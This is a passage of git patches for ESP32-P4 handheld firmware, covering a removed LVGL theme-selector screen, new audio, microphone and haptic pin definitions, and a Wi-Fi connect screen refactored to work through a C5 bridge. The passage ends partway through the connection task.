lv_obj_t *s_sel_dots[MAX_THEMES]; -static lv_obj_t *s_active_icons[MAX_THEMES]; -static lv_obj_t *s_scroll_bar = NULL; -static lv_timer_t *s_nav_timer = NULL; - -static theme_selector_entry_t s_themes[MAX_THEMES]; -static int s_theme_count = 0; -static int s_selected = 0; -static int s_track_y_start = 0; -static int s_track_h = 0; -static bool s_rebuilding = false; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static uint32_t hex_str_to_u32(const char *s); -static char *read_file_alloc(const char *path); -static bool parse_conf_colors(const char *data, uint32_t out[THEME_COLOR_COUNT]); -static bool parse_json_colors(const char *data, const char *name, uint32_t out[THEME_COLOR_COUNT]); -static void scan_themes(void); -static void update_scroll_bar(void); -static void update_selection(void); -static void create_theme_item(lv_obj_t *parent, int idx); -static void apply_theme(int idx); -static void nav_timer_cb(lv_timer_t *t); - -static uint32_t hex_str_to_u32(const char *s) { - if (s == NULL) - return 0; - return (uint32_t)strtol(s, NULL, 16); -} - -static char *read_file_alloc(const char *path) { - FILE *f = fopen(path, "r"); - if (f == NULL) - return NULL; - - fseek(f, 0, SEEK_END); - int32_t sz = (int32_t)ftell(f); - fseek(f, 0, SEEK_SET); - - if (sz <= 0) { - fclose(f); - return NULL; - } - - char *buf = malloc((size_t)sz + 1); - if (buf == NULL) { - ESP_LOGE(TAG, "Failed to allocate read buffer for %s", path); - fclose(f); - return NULL; - } - - size_t read = fread(buf, 1, (size_t)sz, f); - fclose(f); - - if ((int32_t)read != sz) { - ESP_LOGE(TAG, "Short read on %s: expected %ld, got %zu", path, (long)sz, read); - free(buf); - return NULL; - } - - buf[sz] = '\0'; - return buf; -} - -static bool parse_conf_colors(const char *data, uint32_t out[THEME_COLOR_COUNT]) { - int found = 0; - for (int k = 0; k < THEME_COLOR_COUNT; k++) { - const char *p = strstr(data, COLOR_KEYS[k]); - if (p == NULL) - continue; - const char *eq = strchr(p, '='); - if (eq == NULL) - continue; - eq++; - while (*eq == ' ') - eq++; - out[k] = hex_str_to_u32(eq); - found++; - } - return found >= 3; -} - -static bool parse_json_colors(const char *data, const char *name, uint32_t out[THEME_COLOR_COUNT]) { - cJSON *root = cJSON_Parse(data); - if (root == NULL) - return false; - - cJSON *theme = cJSON_GetObjectItem(root, name); - if (theme == NULL) { - cJSON_Delete(root); - return false; - } - - for (int k = 0; k < THEME_COLOR_COUNT; k++) { - cJSON *v = cJSON_GetObjectItem(theme, COLOR_KEYS[k]); - out[k] = (cJSON_IsString(v) && v->valuestring != NULL) ? hex_str_to_u32(v->valuestring) : 0; - } - - cJSON_Delete(root); - return true; -} - -static void scan_themes(void) { - s_theme_count = 0; - - DIR *d = opendir(TOS_PATH_THEMES); - if (d != NULL) { - struct dirent *ent; - while ((ent = readdir(d)) != NULL && s_theme_count < MAX_THEMES) { - if (ent->d_type != DT_DIR || ent->d_name[0] == '.') - continue; - if (strlen(ent->d_name) > THEME_NAME_MAX_LEN - 2) - continue; - - char path[THEME_CONF_PATH_SIZE]; - snprintf(path, sizeof(path), THEME_CONF_PATH_FMT, ent->d_name); - - char *data = read_file_alloc(path); - if (data == NULL) - continue; - - theme_selector_entry_t *t = &s_themes[s_theme_count]; - strncpy(t->name, ent->d_name, sizeof(t->name) - 1); - t->name[sizeof(t->name) - 1] = '\0'; - - if (parse_conf_colors(data, t->colors)) - s_theme_count++; - - free(data); - } - closedir(d); - } - - if (s_theme_count == 0) { - char *data = read_file_alloc(FLASH_CONFIG_THEMES); - if (data != NULL) { - for (int i = 0; i < BUILTIN_THEME_COUNT && s_theme_count < MAX_THEMES; i++) { - theme_selector_entry_t *t = &s_themes[s_theme_count]; - strncpy(t->name, BUILTIN_THEMES[i], sizeof(t->name) - 1); - t->name[sizeof(t->name) - 1] = '\0'; - if (parse_json_colors(data, BUILTIN_THEMES[i], t->colors)) - s_theme_count++; - } - free(data); - } - } - - s_selected = 0; - for (int i = 0; i < s_theme_count; i++) { - if (strcmp(s_themes[i].name, g_config_screen.theme) == 0) { - s_selected = i; - break; - } - } -} - -static void update_scroll_bar(void) { - if (s_scroll_bar == NULL || s_theme_count <= 1) - return; - - int32_t pos = - s_track_y_start + (s_selected * (s_track_h - SCROLL_BAR_THUMB_H)) / (s_theme_count - 1); - - if (s_rebuilding) { - lv_obj_set_y(s_scroll_bar, pos); - return; - } - - lv_anim_t a; - lv_anim_init(&a); - lv_anim_set_var(&a, s_scroll_bar); - lv_anim_set_values(&a, lv_obj_get_y(s_scroll_bar), pos); - lv_anim_set_duration(&a, SCROLL_BAR_ANIM_MS); - lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); - lv_anim_start(&a); -} - -static void update_selection(void) { - for (int i = 0; i < s_theme_count; i++) { - bool is_active = (strcmp(s_themes[i].name, g_config_screen.theme) == 0); - - if (i == s_selected) { - lv_obj_set_style_border_color(s_items[i], current_theme.border_accent, 0); - lv_obj_set_style_border_width(s_items[i], ITEM_BORDER_SELECTED, 0); - if (s_sel_dots[i] != NULL) - lv_obj_remove_flag(s_sel_dots[i], LV_OBJ_FLAG_HIDDEN); - } else { - lv_obj_set_style_border_color(s_items[i], current_theme.border_interface, 0); - lv_obj_set_style_border_width(s_items[i], ITEM_BORDER_NORMAL, 0); - if (s_sel_dots[i] != NULL) - lv_obj_add_flag(s_sel_dots[i], LV_OBJ_FLAG_HIDDEN); - } - - if (s_active_icons[i] != NULL) { - if (is_active) - lv_obj_remove_flag(s_active_icons[i], LV_OBJ_FLAG_HIDDEN); - else - lv_obj_add_flag(s_active_icons[i], LV_OBJ_FLAG_HIDDEN); - } - } - - if (s_items[s_selected] != NULL) - lv_obj_scroll_to_view(s_items[s_selected], s_rebuilding ? LV_ANIM_OFF : LV_ANIM_ON); - - update_scroll_bar(); -} - -static void create_theme_item(lv_obj_t *parent, int idx) { - theme_selector_entry_t *t = &s_themes[idx]; - - lv_obj_t *item = lv_obj_create(parent); - lv_obj_set_size(item, ITEM_W, ITEM_H); - lv_obj_remove_flag(item, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(item, ITEM_RADIUS, 0); - lv_obj_set_style_bg_opa(item, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(item, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(item, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(item, ITEM_BORDER_NORMAL, 0); - lv_obj_set_style_border_color(item, current_theme.border_interface, 0); - lv_obj_set_style_pad_left(item, ITEM_PAD_H, 0); - lv_obj_set_style_pad_right(item, ITEM_PAD_H, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(item, ITEM_PAD_COL, 0); - - for (int c = 0; c < SWATCH_COUNT; c++) { - lv_obj_t *sw = lv_obj_create(item); - lv_obj_set_size(sw, SWATCH_SIZE, SWATCH_SIZE); - lv_obj_set_style_radius(sw, SWATCH_RADIUS, 0); - lv_obj_set_style_bg_color(sw, lv_color_hex(t->colors[c]), 0); - lv_obj_set_style_bg_opa(sw, LV_OPA_COVER, 0); - lv_obj_set_style_border_color(sw, lv_color_hex(t->colors[2]), 0); - lv_obj_set_style_border_width(sw, SWATCH_BORDER_W, 0); - lv_obj_remove_flag(sw, LV_OBJ_FLAG_SCROLLABLE); - } - - char upper[THEME_NAME_MAX_LEN]; - strncpy(upper, t->name, sizeof(upper) - 1); - upper[sizeof(upper) - 1] = '\0'; - for (int c = 0; upper[c]; c++) { - if (upper[c] >= 'a' && upper[c] <= 'z') - upper[c] -= 32; - } - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, upper); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); - lv_obj_set_flex_grow(lbl, 1); - - lv_obj_t *dot = lv_obj_create(item); - lv_obj_set_size(dot, DOT_SIZE, DOT_SIZE); - lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); - lv_obj_set_style_bg_color(dot, current_theme.text_main, 0); - lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); - lv_obj_set_style_border_width(dot, 0, 0); - lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_add_flag(dot, LV_OBJ_FLAG_FLOATING); - lv_obj_align(dot, LV_ALIGN_RIGHT_MID, DOT_OFFSET_X, 0); - s_active_icons[idx] = dot; - - lv_image_dsc_t *pointer_dsc = assets_get("/assets/icons/pointer.bin"); - lv_obj_t *ptr = lv_image_create(item); - if (pointer_dsc != NULL) - lv_image_set_src(ptr, pointer_dsc); - lv_obj_add_flag(ptr, LV_OBJ_FLAG_HIDDEN | LV_OBJ_FLAG_FLOATING); - lv_obj_align(ptr, LV_ALIGN_RIGHT_MID, PTR_OFFSET_X, 0); - s_sel_dots[idx] = ptr; - - s_items[idx] = item; - - if (idx == s_selected) { - lv_obj_set_style_border_width(item, ITEM_BORDER_SELECTED, 0); - lv_obj_set_style_border_color(item, current_theme.border_accent, 0); - lv_obj_remove_flag(ptr, LV_OBJ_FLAG_HIDDEN); - } -} - -static void apply_theme(int idx) { - if (idx < 0 || idx >= s_theme_count) - return; - - ESP_LOGI(TAG, "Applying theme: %s", s_themes[idx].name); - - ui_theme_load_from_name(s_themes[idx].name); - strncpy(g_config_screen.theme, s_themes[idx].name, sizeof(g_config_screen.theme) - 1); - g_config_screen.theme[sizeof(g_config_screen.theme) - 1] = '\0'; - tos_config_save(TOS_PATH_CONFIG_SCREEN, "screen"); - - s_rebuilding = true; - ui_theme_selector_open(); - s_rebuilding = false; -} - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - if (ui_input_is_locked()) - return; - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - if (up && !s_btn_up_last && s_theme_count > 0) { - s_selected = (s_selected == 0) ? s_theme_count - 1 : s_selected - 1; - update_selection(); - } - if (down && !s_btn_down_last && s_theme_count > 0) { - s_selected = (s_selected + 1) % s_theme_count; - update_selection(); - } - if (ok && !s_btn_ok_last) { - apply_theme(s_selected); - } - if (back && !s_btn_back_last) { - s_btn_back_last = back; - ui_switch_screen(SCREEN_INTERFACE_SETTINGS); - return; - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_ok_last = ok; - s_btn_back_last = back; -} - -void ui_theme_selector_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - memset(s_items, 0, sizeof(s_items)); - memset(s_sel_dots, 0, sizeof(s_sel_dots)); - memset(s_active_icons, 0, sizeof(s_active_icons)); - s_scroll_bar = NULL; - - scan_themes(); - - s_screen = lv_obj_create(NULL); - lv_obj_set_size(s_screen, LCD_H_RES, LCD_V_RES); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_set_style_pad_all(s_screen, 0, 0); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); - lv_obj_set_style_radius(s_screen, 0, 0); - - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_W, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_W, TITLE_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BORDER_W, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - lv_obj_set_style_pad_all(title_bar, 0, 0); - - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "THEMES"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); - - int items_y = TOP_BORDER_H + ITEMS_Y_OFFSET; - int items_h = LCD_V_RES - items_y - OUTER_BORDER - ITEMS_Y_OFFSET; - - s_items_cont = lv_obj_create(s_screen); - lv_obj_set_size(s_items_cont, ITEM_W + 8, items_h); - lv_obj_align(s_items_cont, LV_ALIGN_TOP_LEFT, ITEMS_CONT_X_OFFSET, items_y); - lv_obj_set_style_bg_opa(s_items_cont, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(s_items_cont, 0, 0); - lv_obj_set_style_pad_all(s_items_cont, ITEMS_CONT_PAD, 0); - lv_obj_set_style_pad_row(s_items_cont, ITEMS_CONT_PAD_ROW, 0); - lv_obj_set_flex_flow(s_items_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_items_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_scroll_snap_y(s_items_cont, LV_SCROLL_SNAP_START); - - int track_x = LCD_H_RES - OUTER_BORDER - SCROLL_TRACK_X_MARGIN; - s_track_y_start = items_y + SCROLL_TRACK_Y_MARGIN; - s_track_h = items_h - SCROLL_TRACK_Y_MARGIN * 2; - - // Points must outlive this function (used by lv_line) - static lv_point_precise_t track_pts[2]; - track_pts[0].x = 0; - track_pts[0].y = 0; - track_pts[1].x = 0; - track_pts[1].y = s_track_h; - - lv_obj_t *track = lv_line_create(s_screen); - lv_line_set_points(track, track_pts, 2); - lv_obj_set_pos(track, track_x, s_track_y_start); - lv_obj_set_style_line_color(track, current_theme.border_inactive, 0); - lv_obj_set_style_line_opa(track, LV_OPA_COVER, 0); - lv_obj_set_style_line_width(track, SCROLL_TRACK_W, 0); - lv_obj_set_style_line_dash_width(track, SCROLL_TRACK_DASH_W, 0); - lv_obj_set_style_line_dash_gap(track, SCROLL_TRACK_DASH_GAP, 0); - - lv_image_dsc_t *slide_dsc = assets_get("/assets/icons/slide_bar_v.bin"); - s_scroll_bar = lv_image_create(s_screen); - if (slide_dsc != NULL) - lv_image_set_src(s_scroll_bar, slide_dsc); - lv_obj_set_pos(s_scroll_bar, track_x + SCROLL_BAR_X_OFFSET, s_track_y_start); - lv_obj_move_foreground(s_scroll_bar); - - for (int i = 0; i < s_theme_count; i++) - create_theme_item(s_items_cont, i); - - update_selection(); - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - - lv_screen_load(s_screen); -} \ No newline at end of file From b5e2c9965fabbfb039d83002be3b993bc609c7d6 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:31:04 -0300 Subject: [PATCH 139/572] feat(drivers): add audio, mic, and haptic GPIO pin definitions --- .../components/Drivers/pins/include/pin_def.h | 41 +++++++++++++------ 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/firmware_p4/components/Drivers/pins/include/pin_def.h b/firmware_p4/components/Drivers/pins/include/pin_def.h index 4735a5c1a..de8abe365 100644 --- a/firmware_p4/components/Drivers/pins/include/pin_def.h +++ b/firmware_p4/components/Drivers/pins/include/pin_def.h @@ -18,7 +18,7 @@ * @brief Central GPIO pin assignments for the ESP32-P4 board. * * All hardware pin numbers are defined here. No driver should - * hardcode GPIO numbers — use these defines instead. + * hardcode GPIO numbers - use these defines instead. */ #ifndef PIN_DEF_H @@ -28,17 +28,17 @@ extern "C" { #endif -// SPI Bus (shared: display, radio, SD card) +/** @brief SPI bus (shared: display, radio, SD card). */ #define GPIO_SPI_MOSI_PIN 22 #define GPIO_SPI_SCLK_PIN 21 #define GPIO_SPI_MISO_PIN 23 -// CC1101 Sub-GHz Radio +/** @brief CC1101 Sub-GHz radio. */ #define GPIO_CC1101_CS_PIN 20 #define GPIO_CC1101_GDO0_PIN 8 #define GPIO_CC1101_GDO2_PIN 9 -// SDMMC (4-bit SDIO) +/** @brief SDMMC (4-bit SDIO). */ #define GPIO_SDMMC_CLK_PIN 43 #define GPIO_SDMMC_CMD_PIN 44 #define GPIO_SDMMC_D0_PIN 32 @@ -46,13 +46,13 @@ extern "C" { #define GPIO_SDMMC_D2_PIN 41 #define GPIO_SDMMC_D3_PIN 42 -// ST7789 Display +/** @brief ST7789 display. */ #define GPIO_ST7789_CS_PIN 34 #define GPIO_ST7789_DC_PIN 35 #define GPIO_ST7789_RST_PIN 36 #define GPIO_ST7789_BL_PIN 14 -// Buttons +/** @brief Buttons. */ #define GPIO_BTN_LEFT_PIN 6 #define GPIO_BTN_BACK_PIN 54 #define GPIO_BTN_UP_PIN 3 @@ -60,28 +60,28 @@ extern "C" { #define GPIO_BTN_OK_PIN 29 #define GPIO_BTN_RIGHT_PIN 13 -// I2C Bus +/** @brief I2C bus. */ #define GPIO_I2C_SDA_PIN 31 #define GPIO_I2C_SCL_PIN 30 -// RGB LED (WS2812 / SK6812) +/** @brief RGB LED (WS2812 / SK6812). */ #define GPIO_LED_RGB_PIN 45 #define LED_COUNT 1 -// P4-C5 Bridge SPI (Master) +/** @brief P4-C5 bridge SPI (master). */ #define GPIO_BRIDGE_SCLK_PIN 45 #define GPIO_BRIDGE_MOSI_PIN 46 #define GPIO_BRIDGE_MISO_PIN 47 #define GPIO_BRIDGE_CS_PIN 48 #define GPIO_BRIDGE_IRQ_PIN (-1) -// C5 Control & Update (UART + Boot) +/** @brief C5 control and update (UART + boot). */ #define GPIO_C5_UART_TX_PIN 38 #define GPIO_C5_UART_RX_PIN 39 #define GPIO_C5_RESET_PIN (-1) #define GPIO_C5_BOOT_PIN (-1) -// SX1262 LoRa (SPI3_HOST, separate from C5 bridge) +/** @brief SX1262 LoRa (SPI3_HOST, separate from C5 bridge). */ #define GPIO_LORA_SCLK_PIN 18 #define GPIO_LORA_MOSI_PIN 19 #define GPIO_LORA_MISO_PIN 14 @@ -92,11 +92,26 @@ extern "C" { #define GPIO_LORA_TXEN_PIN (-1) #define GPIO_LORA_RXEN_PIN (-1) -// YS-RFID2 125kHz RFID Reader (UART) -// TODO: placeholder pins — definir com base no schematic do board +/** + * @brief YS-RFID2 125kHz RFID reader (UART). + * @todo Placeholder pins - define based on the board schematic. + */ #define GPIO_RFID_UART_TX_PIN 24 #define GPIO_RFID_UART_RX_PIN 25 +/** @brief Audio amplifier (I2S, MAX98357). */ +#define GPIO_AUDIO_BCLK_PIN 50 +#define GPIO_AUDIO_DIN_PIN 51 +#define GPIO_AUDIO_LRCLK_PIN 52 + +/** @brief Microphone (PDM). */ +#define GPIO_MIC_PDM_DATA_PIN 27 +#define GPIO_MIC_PDM_CLK_PIN 28 +#define GPIO_MIC_PDM_SEL_PIN 49 + +/** @brief Haptic driver enable (DRV2605L, shared I2C). */ +#define GPIO_HAPTIC_EN_PIN 37 + #ifdef __cplusplus } #endif From 2ce76e951683d406c56962ee3cd456ae8c39bacc Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:33:39 -0300 Subject: [PATCH 140/572] refactor(ui): drive wifi connect screen via C5 bridge --- .../ui/screens/connect_wifi/connect_wifi_ui.c | 539 +++++++++--------- 1 file changed, 272 insertions(+), 267 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/connect_wifi/connect_wifi_ui.c b/firmware_p4/components/Applications/ui/screens/connect_wifi/connect_wifi_ui.c index a57a356e3..b23207b10 100644 --- a/firmware_p4/components/Applications/ui/screens/connect_wifi/connect_wifi_ui.c +++ b/firmware_p4/components/Applications/ui/screens/connect_wifi/connect_wifi_ui.c @@ -15,317 +15,322 @@ #include "connect_wifi_ui.h" -#include #include -#include "cJSON.h" -#include "esp_err.h" -#include "esp_wifi.h" -#include "lvgl.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" -#include "footer_ui.h" -#include "header_ui.h" +#include "bridge.h" +#include "buttons_gpio.h" #include "keyboard_ui.h" +#include "menu_component_ui.h" #include "msgbox_ui.h" -#include "storage_assets.h" -#include "core/lv_group.h" #include "ui_manager.h" #include "ui_theme.h" -#include "wifi_service.h" - -#define WIFI_MENU_WIDTH 230 -#define WIFI_MENU_HEIGHT 160 -#define WIFI_MENU_OFFSET_Y 10 -#define WIFI_MENU_BORDER_WIDTH 2 -#define WIFI_MENU_PAD 4 -#define WIFI_ITEM_HEIGHT 40 -#define WIFI_ITEM_BORDER_WIDTH 1 -#define WIFI_ITEM_ICON_MARGIN 8 -#define WIFI_STATUS_POLL_MAX 20 -#define WIFI_STATUS_POLL_INTERVAL_MS 500 -#define WIFI_RESTORE_GROUP_DELAY_MS 10 -#define WIFI_SSID_MAX_LEN 33 -#define WIFI_PASS_MAX_LEN 65 - -extern lv_group_t *main_group; - -static lv_obj_t *s_screen_wifi_list = NULL; -static lv_obj_t *s_wifi_list_cont = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_item; -static bool s_is_styles_initialized = false; - -static char s_selected_ssid[WIFI_SSID_MAX_LEN]; -static char s_selected_pass[WIFI_PASS_MAX_LEN]; -static char s_known_pass[WIFI_PASS_MAX_LEN]; - -static lv_timer_t *s_restore_group_timer = NULL; -static lv_timer_t *s_wifi_status_timer = NULL; -static uint32_t s_wifi_status_poll_count = 0; -static bool s_is_awaiting_connect = false; -static bool s_is_pending_connected = false; - -static void init_styles(void); -static bool local_get_known_password(const char *ssid, char *out_password, size_t buffer_size); -static void restore_wifi_group(lv_timer_t *timer); -static void on_msgbox_closed(bool confirm); -static void on_wifi_status_async(void *user_data); -static void wifi_status_timer_cb(lv_timer_t *timer); -static void on_keyboard_submit(const char *text, void *user_data); -static void wifi_item_event_cb(lv_event_t *e); -void ui_connect_wifi_open(void) { - init_styles(); - - if (s_screen_wifi_list != NULL) - lv_obj_del(s_screen_wifi_list); - - s_screen_wifi_list = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_wifi_list, current_theme.screen_base, 0); - lv_obj_clear_flag(s_screen_wifi_list, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_wifi_list); - footer_ui_create(s_screen_wifi_list); - - s_wifi_list_cont = lv_obj_create(s_screen_wifi_list); - lv_obj_set_size(s_wifi_list_cont, WIFI_MENU_WIDTH, WIFI_MENU_HEIGHT); - lv_obj_align(s_wifi_list_cont, LV_ALIGN_CENTER, 0, WIFI_MENU_OFFSET_Y); - lv_obj_add_style(s_wifi_list_cont, &s_style_menu, 0); - lv_obj_set_flex_flow(s_wifi_list_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_wifi_list_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_add_flag(s_wifi_list_cont, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_scroll_dir(s_wifi_list_cont, LV_DIR_VER); - - lv_obj_t *loading = lv_label_create(s_screen_wifi_list); - lv_label_set_text(loading, "SCANNING..."); - lv_obj_set_style_text_color(loading, current_theme.text_main, 0); - lv_obj_center(loading); +static const char *TAG = "CONNECT_WIFI_UI"; + +#define NAV_TIMER_MS 50 + +#define SCAN_RESULT_COLOR_HEX 0x00E676 + +#define WIFI_MAX_APS 12 +#define SCAN_SETTLE_MS 150 +#define SCAN_POLL_TRIES 30 +#define SCAN_POLL_DELAY_MS 400 + +#define WIFI_TASK_STACK_SIZE 4096 +#define WIFI_TASK_PRIORITY 4 +#define CONNECT_POLL_TRIES 30 +#define CONNECT_POLL_DELAY_MS 500 + +typedef enum { SCAN_RUNNING, SCAN_DONE, SCAN_FAIL } scan_state_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static scan_state_t s_scan_state = SCAN_RUNNING; +static bool s_scanning = false; +static int s_ap_count = 0; +static struct { + char ssid[25]; + int8_t rssi; +} s_aps[WIFI_MAX_APS]; + +static char s_connect_ssid[33]; +static char s_connect_pass[64]; +static bool s_connecting = false; +static uint8_t s_connect_state = 0; +static uint8_t s_connect_ip[4] = {0}; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); + +static const char *icon_for_rssi(int8_t rssi) { + if (rssi >= -55) + return "/assets/icons/wifi_icon_3.bin"; + if (rssi >= -65) + return "/assets/icons/wifi_icon_2.bin"; + if (rssi >= -75) + return "/assets/icons/wifi_icon_1.bin"; + return "/assets/icons/wifi_icon_0.bin"; +} - lv_screen_load(s_screen_wifi_list); - lv_refr_now(NULL); +static esp_err_t bridge_send_str(uint8_t cmd, const char *s) { + bridge_frame_t req = {.cmd = cmd}; + bridge_frame_t resp = {0}; + size_t len = strlen(s); + if (len > BRIDGE_PAYLOAD_MAX) + len = BRIDGE_PAYLOAD_MAX; + memcpy(req.payload, s, len); + req.len = (uint8_t)len; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) != ESP_OK || resp.status != BRIDGE_STATUS_OK) + return ESP_FAIL; + return ESP_OK; +} - if (!wifi_service_is_active()) { - lv_label_set_text(loading, "WIFI OFF"); +static void connect_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_CONNECT_WIFI) return; + if (s_connect_state == BRIDGE_WIFI_STA_CONNECTED) { + char msg[48]; + snprintf(msg, + sizeof(msg), + "CONNECTED\n%u.%u.%u.%u", + s_connect_ip[0], + s_connect_ip[1], + s_connect_ip[2], + s_connect_ip[3]); + msgbox_open(LV_SYMBOL_OK, msg, "OK", NULL, NULL); + } else { + msgbox_open(LV_SYMBOL_CLOSE, "CONNECT FAILED\nwrong pass / range?", "OK", NULL, NULL); } +} - wifi_service_scan(); - uint16_t ap_count = wifi_service_get_ap_count(); - lv_obj_del(loading); - - if (main_group != NULL) - lv_group_remove_all_objs(main_group); - - for (uint16_t i = 0; i < ap_count; i++) { - wifi_ap_record_t *ap = wifi_service_get_ap_record(i); - if (ap == NULL) - continue; - - lv_obj_t *item = lv_obj_create(s_wifi_list_cont); - lv_obj_set_size(item, lv_pct(100), WIFI_ITEM_HEIGHT); - lv_obj_add_style(item, &s_style_item, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *icon = lv_label_create(item); - lv_label_set_text(icon, LV_SYMBOL_WIFI); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - - lv_obj_t *lbl_ssid = lv_label_create(item); - lv_label_set_text(lbl_ssid, (char *)ap->ssid); - lv_obj_set_style_text_color(lbl_ssid, current_theme.text_main, 0); - lv_obj_set_flex_grow(lbl_ssid, 1); - lv_obj_set_style_margin_left(lbl_ssid, WIFI_ITEM_ICON_MARGIN, 0); - - if (ap->authmode != WIFI_AUTH_OPEN) { - lv_obj_t *lock = lv_label_create(item); - lv_label_set_text(lock, "KEY"); - lv_obj_set_style_text_color(lock, current_theme.text_main, 0); +static void wifi_connect_task(void *arg) { + (void)arg; + uint8_t state = BRIDGE_WIFI_STA_FAILED; + uint8_t ip[4] = {0}; + + if (bridge_master_init() == ESP_OK && + bridge_send_str(BRIDGE_CMD_WIFI_STA_SSID, s_connect_ssid) == ESP_OK && + bridge_send_str(BRIDGE_CMD_WIFI_STA_PASS, s_connect_pass) == ESP_OK) { + bridge_frame_t req = {.cmd = BRIDGE_CMD_WIFI_STA_CONNECT}; + bridge_frame_t resp = {0}; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && resp.status == BRIDGE_STATUS_OK) { + for (int i = 0; i < CONNECT_POLL_TRIES; i++) { + vTaskDelay(pdMS_TO_TICKS(CONNECT_POLL_DELAY_MS)); + req.cmd = BRIDGE_CMD_WIFI_STA_STATUS; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK) { + bridge_wifi_sta_status_t st; + memcpy(&st, resp.payload, sizeof(st)); + if (st.state == BRIDGE_WIFI_STA_CONNECTED) { + state = st.state; + memcpy(ip, st.ip, 4); + break; + } + if (st.state == BRIDGE_WIFI_STA_FAILED) { + 